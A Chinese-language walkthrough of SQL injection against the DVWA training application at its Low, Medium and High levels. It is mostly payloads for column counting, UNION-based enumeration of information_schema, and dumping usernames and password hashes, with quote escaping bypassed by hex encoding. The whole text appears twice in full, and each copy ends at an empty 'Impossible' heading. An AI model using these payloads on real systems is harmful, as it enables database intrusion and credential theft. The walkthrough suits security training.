DVWA下的SQL注入
1 Low级别
(1)判断是否存在注入,注入是字符型还是数字型
首先,我们输入1测试一下:
然后输入一个2-1,如果结果和输入1的结果一样,则是数字型;如果结果不一样,则是字符型。
【注】输入1’and ‘1’ =’1时,查询语句中id后面的都为真,显示的只有一组;输入1’or ‘1 ’=’1时,查询语句中where后面都为真,显示所有的组。
(2)查询字段数
方法1:用order by语句
1’order by 1#:(#注释符,注释掉后面的内容)
2’order by 2#
3’order by 3#
如果3报错,则是2个字段
方法2:用union select语句
输入1’union select 1,2#
当输入1'union select 1,2,3#时,会出现错误。
(3)获取数据库名和用户名
1’union select database(),user()#
有时候,后面的select语句会限制输出的行数,一般会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不返回结果,则要使用如下操作:
-1’union select database(),user()#:只会返回我们需要的数据
-1’ union select version(),@@version_compile_os#:获取当前数据库版本和操作系统。
[注]:id=-1这个-1表示执行时,前面是无效代码,只执行后面select database(),user()
(4)获取数据库中的表
在information_schema里,有一个表是tables(存放数据库中所有表的信息),另一个是columns。tables中有个字段叫table_name(表名),有一个叫table_schema(表示这个表所在的数据库);columns中有table_schema,column_name,table_name。
-1’union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
[注]:-1是无效代码,不执行,执行后面的语句,union要前后两个字段数相同,因为之前测出来是2个字段,所以union后面也必须两个字段。
爆出来两个表,选users这个继续进行
-1’ union select column_name,2 from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#
继续对user和password进行注入:
-1’ union select user,password from users#
密码是MD5的,需要解密
2 Medium级别
使用虚拟机的的ip
http://虚拟机ip/DVWA-master/login.php
相同的用户名(admin)和密码(password)登陆。
这次使用burpsuite抓包工具
点击next-Options-Proxy Listeners-Add-Binding,输入如下:
然后打开如下:
修改浏览器的代理配置:Preferences-Advanced-Network-Connection-Settings,改为如下:
点击浏览器中的Submit:
在burp suite中抓到的包如下:
可以修改最后一行,id的内容。
(1)id修改为2-1修改完后Forward,就执行了,然后浏览器就变为
说明是数字型的。
(2)id修改为1 order by 1#
1 order by 2#
1 order by 3# 3是报错的
或者抓包改id:1 union select 1,2#
(3)抓包改id获取数据库名和用户名:
1 union select database(),user() #
(4)抓包改id获取数据库中的表:
-1 union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
这个输入到id时会出错,显示单引号出问题,因为单引号被转义了,所以要写成下面:
-1union select table_name,2 from information_schema.tables where table_schema=database()#
因为单引号转义,所以要把users改为16进制的0×7573657273
-1 union select column_name,2 from information_schema.columns where table_name=0x7573657273#
【注】:如何改为16进制呢?
继续使用burp suite工具: 打开后选择Decoder
(5)对user,password进行注入
-1 union select user,password from users#
3 High级别
High级别在SQL查询语句中添加了LIMIT 1,希望可以控制只输出一个结果。
High级别注入时和Low一样,只是给语句后面加上#,将其注释掉。
例如:1#
4 Impossible级别
1 Low级别
(1)判断是否存在注入,注入是字符型还是数字型
首先,我们输入1测试一下:
然后输入一个2-1,如果结果和输入1的结果一样,则是数字型;如果结果不一样,则是字符型。
【注】输入1’and ‘1’ =’1时,查询语句中id后面的都为真,显示的只有一组;输入1’or ‘1 ’=’1时,查询语句中where后面都为真,显示所有的组。
(2)查询字段数
方法1:用order by语句
1’order by 1#:(#注释符,注释掉后面的内容)
2’order by 2#
3’order by 3#
如果3报错,则是2个字段
方法2:用union select语句
输入1’union select 1,2#
当输入1'union select 1,2,3#时,会出现错误。
(3)获取数据库名和用户名
1’union select database(),user()#
有时候,后面的select语句会限制输出的行数,一般会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不返回结果,则要使用如下操作:
-1’union select database(),user()#:只会返回我们需要的数据
-1’ union select version(),@@version_compile_os#:获取当前数据库版本和操作系统。
[注]:id=-1这个-1表示执行时,前面是无效代码,只执行后面select database(),user()
(4)获取数据库中的表
在information_schema里,有一个表是tables(存放数据库中所有表的信息),另一个是columns。tables中有个字段叫table_name(表名),有一个叫table_schema(表示这个表所在的数据库);columns中有table_schema,column_name,table_name。
-1’union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
[注]:-1是无效代码,不执行,执行后面的语句,union要前后两个字段数相同,因为之前测出来是2个字段,所以union后面也必须两个字段。
爆出来两个表,选users这个继续进行
-1’ union select column_name,2 from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#
继续对user和password进行注入:
-1’ union select user,password from users#
密码是MD5的,需要解密
2 Medium级别
使用虚拟机的的ip
http://虚拟机ip/DVWA-master/login.php
相同的用户名(admin)和密码(password)登陆。
这次使用burpsuite抓包工具
点击next-Options-Proxy Listeners-Add-Binding,输入如下:
然后打开如下:
修改浏览器的代理配置:Preferences-Advanced-Network-Connection-Settings,改为如下:
点击浏览器中的Submit:
在burp suite中抓到的包如下:
可以修改最后一行,id的内容。
(1)id修改为2-1修改完后Forward,就执行了,然后浏览器就变为
说明是数字型的。
(2)id修改为1 order by 1#
1 order by 2#
1 order by 3# 3是报错的
或者抓包改id:1 union select 1,2#
(3)抓包改id获取数据库名和用户名:
1 union select database(),user() #
(4)抓包改id获取数据库中的表:
-1 union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
这个输入到id时会出错,显示单引号出问题,因为单引号被转义了,所以要写成下面:
-1union select table_name,2 from information_schema.tables where table_schema=database()#
因为单引号转义,所以要把users改为16进制的0×7573657273
-1 union select column_name,2 from information_schema.columns where table_name=0x7573657273#
【注】:如何改为16进制呢?
继续使用burp suite工具: 打开后选择Decoder
(5)对user,password进行注入
-1 union select user,password from users#
3 High级别
High级别在SQL查询语句中添加了LIMIT 1,希望可以控制只输出一个结果。
High级别注入时和Low一样,只是给语句后面加上#,将其注释掉。
例如:1#
4 Impossible级别